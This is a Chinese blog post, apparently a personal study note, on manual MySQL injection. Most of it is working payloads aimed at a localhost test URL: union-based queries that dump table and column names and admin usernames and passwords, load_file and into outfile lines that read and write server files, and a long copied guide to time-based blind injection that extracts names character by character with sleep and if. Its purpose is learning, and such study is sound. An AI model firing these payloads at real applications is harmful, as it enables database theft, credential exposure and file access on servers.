博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑。

由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图。毕竟找不见源码,,没法。。。

首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的。


就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的都没有,所以,贴不开实际图。

在mysql注入中,我们不细谈mysql其他的技巧类,只讲注入,说到这里,这个数据库可以分为两个部分,一个是5.0以上,一个是5.0以下。因为在5.0以上的版本中,会存在一个类似虚拟的information_schema 这个数据库,里面汇总了该大数据库下,所有的数据,也就是说是在其他数据库A,数据库B以内的数据,都可以在这里找见,而5.0以下的,就只能和Access数据库一样靠猜解库名,表名,列名。

现在来介绍几个在渗透测试中常用的几个函数和表库名。

数据库名:database()

数据库版本: version()

数据库用户: user()

操作系统: @@version_compile_os

系统用户名: system_user()

当前用户名: current_user

连接数据库的用户名:session_user()

读取数据库路径:@@datadir

MYSQL安装路径:@@basedir

load_file 转成16进制或者10进制 MYSQL读取本地文件函数

into outfile 写入函数

储存所有表名信息的表 : information_schema.tables

表名 : table_name

数据库名: table_schema

列名 : column_name

储存所有列名信息的表 : information_schema.columns

好了下面就开始记录我构造的语句了,这里先说一点,我会总结的很细,但是我不会在这篇文章里总结一些注入绕过的技巧,只会总结一些注入得库,表,列的语句。mysql注入可分为很多中注入方法,从普通注入,报错注入,再到盲注,还有一些奇葩的注入点语句,也就是这些。关于大家都知道的post注入,cookie注入,字符串注入,搜索注入,这些注入技巧,我会专门开一片文章记录下,因为这些都是技巧性的。

我现在先记录mysql5.0 以上的注入方法,5.0以下的就像我前面的说的一样,没有规律可循,全靠蒙,全靠猜,和Access数据库一样。首先我需要判断是否可以注入,然后再判断 字段数,这两个步骤和Access数据库注入一样,都是 and 1=1 , and 1=2 ,还有 order by 字段数。剩下的注入库名,表名,列名,数据才是重点。

http://127.0.0.1/mysql/sql.php?x=1

假如这是一个注入点,我们知道他的字段数是3,那么我们的语句就是 :

http://127.0.0.1/mysql/sql.php?x=1 union select 1,2,3

然后直接回车,查看能否爆出数字,这里和Access的不同是,这里不需要在后面面加入表名,因为我们也不知道表名是啥,如果是5.0以下的,我们就只能像Access呢个的进行猜了。

假如爆出1,2 ,3 这三个字段数,那我们就可以注入一些信息了。

http://127.0.0.1/mysql/sql.php?x=1 union select database(),version(),user()

这三个函数,我们分别替代了1,2,3这三个位置,然后就可以得出数据库名,数据库版本,数据库用户,记住这是当前的数据库的名字,和用户。

假如我们得知:

当前数据库名:sqlin

数据库版本:5.5.40

当前数据库用户:root@localhost

当然我们也可以替换成其他的函数,比如 @datadir 来获取数据库路径, @@version_compile_os 来获取操作系统,对了说到操作系统,win对大小写不铭感,但是Linux对大小很铭感,不能出错的,这个要记住。

下面开始构造获取当前数据库下的表名:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(table_name),2,3 from

information_schema.tables where table_schema=0x73716C696E20

这个语句的意思就是获取当前数据库下所有表名,0x73716C696E20

这个是hex编码,大家可以用小葵转换工具来转换,就是把第一步收集到的当前数据库名hex编码一下。当然我们也可以一个一个的来注入出当前数据库下所有表名,等等,让我去找找我的笔记本,我翻翻我自己在本子上记录的。额,找不见了,估计忘学校没拿了,,我去网上找找贴一段。

http://127.0.0.1/mysql/sql.php?x=1 union select table_name,2,3, from information_schema.SCHEMATA limit 0,1

这个也是可以注入出当前数据库的表名的,只不过是一个一个的输出,你知道控制limit后面的数字就可以,比如 0,1 、1,2、2,3 就是这个格式的。

不过我还是喜欢全部爆出来,然后再一个一个去找可能存在账密的表,所以我就只记录全部爆出的。

假如我们选中了一个叫 admin 的这个表名,那么就开始爆出该表名下的列名。

下面开始构造注入当前表名下的列名的语句:

http://127.0.0.1/mysql/sql.php?x=1 union select group_concat(column_name),2,3 from

information_schema.columns where table_name=0x61646D696E

这个就可以爆出所有该表名的下的列名,0x61646D696E 这个是我们刚才选中的 admin 这个表名的hex的转码。

这一步下去,我们就得到列名了,假如我们选中了 username ,password 这两个列名,那么我就开始爆数据了,这个就很简单了,

http://127.0.0.1/mysql/sql.php?x=1 union select 1,username,password from admin

这个是不是就出来了,对了还有个方法,就利用一个字数点,就爆出以内全部的列名下的信息。

http://127.0.0.1/mysql/sql.php?x=1 union select 1,group_concat(username,0x5c,password),3 from admin

这个就是利用一个点,出来全部的数据。

这个是最简单的常规测试的,我在上面的函数里是不是还列出了一个load_file() 这个函数,这个是用来读取路径内的内容的,但是必须是绝对路径,比如: D:\mysql\123,txt 它只能读取这样的绝对路径的内容。

这是一个例子:

http://127.0.0.1/mysql/sql.php?x=1 union select load_file('D:/mysql/123,txt '),2,3

这个就是一个读取,root权限和普通权限可以有很大区别的,如果是root,你可以读取全部的,如果不是root ,是普通,你只能读取普通用户才能读的文件。对了,root,,,前面还有一个函数,我得说说 into outfile 写入函数 ,这个必须是root权限才行的,而且你还得需要知道绝对路径。

这是一个例子:

http://127.0.0.1/mysql/sql.php?x=1 union select 'shiyan',2,3 into outfile 'D:/mysql/123,txt'

对了,不知道你们发现了没有我在地址用了 / 这个,而没有用 \ 这个,算个小谜题,我不细说了。

到这里是不是就可以说完了?错!我盲注语句,还有报错语句还没汇总了。。。现在开始汇总。

先构造盲注语句吧,盲注的核心就是靠 if 判断来注入的,我去。。。我在本地的记事本上构造了半天,才想开一个问题,,,盲注不是几个简单的语句就能概括全的,就像上面写的虽然总结了,但是也只是常用的mysql手工注入,还有很多的其他的等等的。。。算了,我直接贴一个吧,在乌云上的文章,,一位大神总结的,但是也只是一小部分,还有其他的很多构造语句,他的文章对于理解盲注可以理解下,不过一般这类测试都是直接上sqlmap神器直接跑的,毕竟手工注入也只是因为灵活的特性才一直保留的,可以各种绕,各种测试,所以也是必须得会的。

我要开始贴这个大神总结mysql手工盲注了,(如果大神本人看到了,觉得侵权了,我可以私信我,我会删的。)

-----------------------------------------------------------------------------------------------------------

mysql手工盲注

作者:474082729@qq.com

盲注的核心是靠 if 判断来注入

手工盲注之前先复习一下if 判断等函数

version() 是查看数据库版本 
database() 查看数据库名
user() 查看当前用户
length( xxxxx ) 函数是统计字符串的长度

mid(str,1,3) 字符串截取

从字节1开始截 截到3就结束

知乎专栏
ORD() 转换成ascii码

ascii码对照表 ASCII码对照表

IF 语法:

if (条件,True,False);

开始手工盲注

select * from admin where user = "admin" and sleep(2); 执行需要2秒

1.获取数据库名长度
database() 查看数据库名


## ( select length(database() ) )
查询数据库名长度


select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果数据库的长度等于2的话那么就执行true 否则就执行False 
最后变成了 sleep(0) 

如果数据库长度等于 7 的话 就执行true
最后变成了 sleep(5)

也就是select * from admin where user = "admin” and sleep(5)

最后得知数据库长度是 7 那么接下来就是获取数据库名了

2.获取数据库名
数据库长度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'a' ) , 5,0 ) );
执行执行False 说明 第一个字节不是a

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x' ) , 5,0 ) );
执行执行true 执行了5秒 说明第一个字节是x

然后慢慢注入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = 'i' ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = 'd') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = 'o') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = 'g') , 5,0 ) );
第一个字节是x
第二个字节是i
第三个字节是n
第四个字节是d
第五个字节是o
第六个字节是n
第七个字节是g
全都是执行 5秒 然后得知 数据库是 xindong

当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
采用ORD函数进行ascii码来判断会快点

比如:

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
条件:大于200 执行false 说明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
条件:大于100 执行true 说明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
条件:大于120 执行false 说明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
条件:大于110 执行true 说明大于

说明数据库第一个字节的ascii码大于110小于120
说明是110~120之间

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );

等于 120 执行true 说明第一个字节的ascii码是120

最后解码得出是 x

3.获取表名长度

select * from admin where user = 'admin' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;

字节等于 5 执行true
说明表名长度为5

4.获取表名

获取第1个字节
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))='a' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是a

获取第2个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))='d' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是d

获取第3个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))='m' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是m

获取第4个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))='i' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是i

获取第5个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))='n' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是n

5.获取表名的第一个字段长度
表名是:admin 16进制:61646d696e
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

请求时间5秒 说明第一个子段有4个字节

6.获取表名的第一个字段名

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= 'u',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= 's',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= 'e',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= 'r',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一个字段是 user

然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段

7.获取数据库内容
7.1 先猜第一个字段的数据库的长度
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
执行5秒 说明这个字段的数据内容字节长度是5

那么就是获取数据了
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,1,1) = 'a' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,2,1) = 'd' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,3,1) = 'm' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,4,1) = 'i' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,5,1) = 'n' , 5,0) ) from admin limit 0,1;

然后用户名就是 admin 了

终于贴完了,,,,,这些基本上就可以了解到手工盲注的原理和构造了,当然如果还想继续深入的话,可以去百度吧,,,去搜索吧。。。毕竟这些只是一些皮毛。

下面开始说其他的报错注入了,,,这个我研究了好久,后来一过年,我又忘的差不多了。。。。好多种报错方式注入,,这个我自己是真的只能找资料汇总到一块了,我自己是手写不开的,,都忘的差不多了。。。。

都是超链接,自己想深入的可以再去找找资料。

十种MySQL报错注入

根据mysql报错进行回显注入的原理是什么?

MySQL暴错注入方法整理

Mysql报错注入原理分析(count()、rand()、group by)

MySQL注入总结&MySQL暴错注入方法整理

经典的MySQL Duplicate entry报错注入

好了,这些就差不多了,都是我看过的,虽说还是不太精通,,,毕竟这个在ctf中才会出现的题。。。。。

总结下吧,没有源码,无法演示,上面说的我用攻防平台吧,后来想了想,我还准备专门开帖子,记录我打本地攻防平台的帖子,提前上的话,感觉我就没动力记录的了。这个文章,正如上面说的,很多技巧都没记录,纯粹的简单的记录了下,毕竟我想把技巧性的再汇总到一个帖子里。

每记录一下,都是对自己知识的复习,就像人家搞培训的,多讲讲就不会忘,我是自己多写写多汇总汇总,就算忘了,我自己翻看我自己的记录也会很快想起来的。

mysql注入篇的更多相关文章

  1. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  2. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  3. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  4. 【sql注入教程】mysql注入直接getshell

    Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...

  5. MySQL注入与防御

    1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...

  6. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  7. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

  8. MYSQL注入天书之开天辟地

    MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https:// ...

  9. MySQL注入--Payload

    MySQL注入--Payload Mirror王宇阳 2019-10-22 SQL的注入流程一般如下: 1.判断是否有SQL注入漏洞(判断注入点) 2.判断数据库的系统架构.数据库名.web应用类型等 ...

随机推荐

  1. Django基础篇(一)

    Python的Web框架有Django.Tornado.Flask等多种,Django相较其他web框架的优势有: 大而全.框架本身集成了ORM框架.模板绑定.缓存.Session等诸多功能. 1.安 ...

  2. centos svn 安装

    #检查是否安装了低版本的SVN [root@zck /]# rpm -qa subversion #卸载旧版本SVN [root@zck modules]# yum remove subversion ...

  3. FFMpeg视频解码初探

    在视频解码前,先了解以下几个基本的概念: 编解码器(CODEC):能够进行视频和音频压缩(CO)与解压缩(DEC),是视频编解码的核心部分. 容器/多媒体文件(Container/File):没有了解 ...

  4. datetime timestamp使用

    #coding=utf-8 import time import datetime def yes_time(): #获取当前时间 now_time = datetime.datetime.now() ...

  5. gentoo/funtoo 环境配置使用 valgrind

    设置需要的 use 与 FEATURES,重新编译 glibc 即可: # echo "sys-libs/glibc debug" > /etc/portage/packag ...

  6. 洛谷 P1198 [JSOI2008]最大数——单调栈/线段树

    先上一波题目 https://www.luogu.org/problem/P1198 题目要求维护后缀最大值 以及在数列的最后面添加一个数 这道题呢我们有两种做法 1.单调栈 因为只需要维护后缀最大值 ...

  7. 23-python基础-python3-浅拷贝与深拷贝(1)

    1.可变和不可变数据类型. 列表是‘可变的’数据类型,它的值可以添加.删除或改变. 字符串是‘不可变的’,它不能被更改. (1)字符串 尝试对字符串中的一个字符重新赋值,将导致TypeError错误. ...

  8. Python建立Tab自动补全的脚本

    Python建立Tab自动补全的脚本 #!/usr/bin/python #python steup file import sys import readline import rlcomplete ...

  9. CSS | 字体系列

    CSS字体处理中最复杂的部分是字体系列(font-family)匹配和字体加粗(font-weight)匹配,其次是字体大小(font-size)的计算. 一. 字体系列 相同的字体可能有很多不同的称 ...

  10. slim.arg_scope()的使用

    [https://blog.csdn.net/u013921430 转载] slim是一种轻量级的tensorflow库,可以使模型的构建,训练,测试都变得更加简单.在slim库中对很多常用的函数进行 ...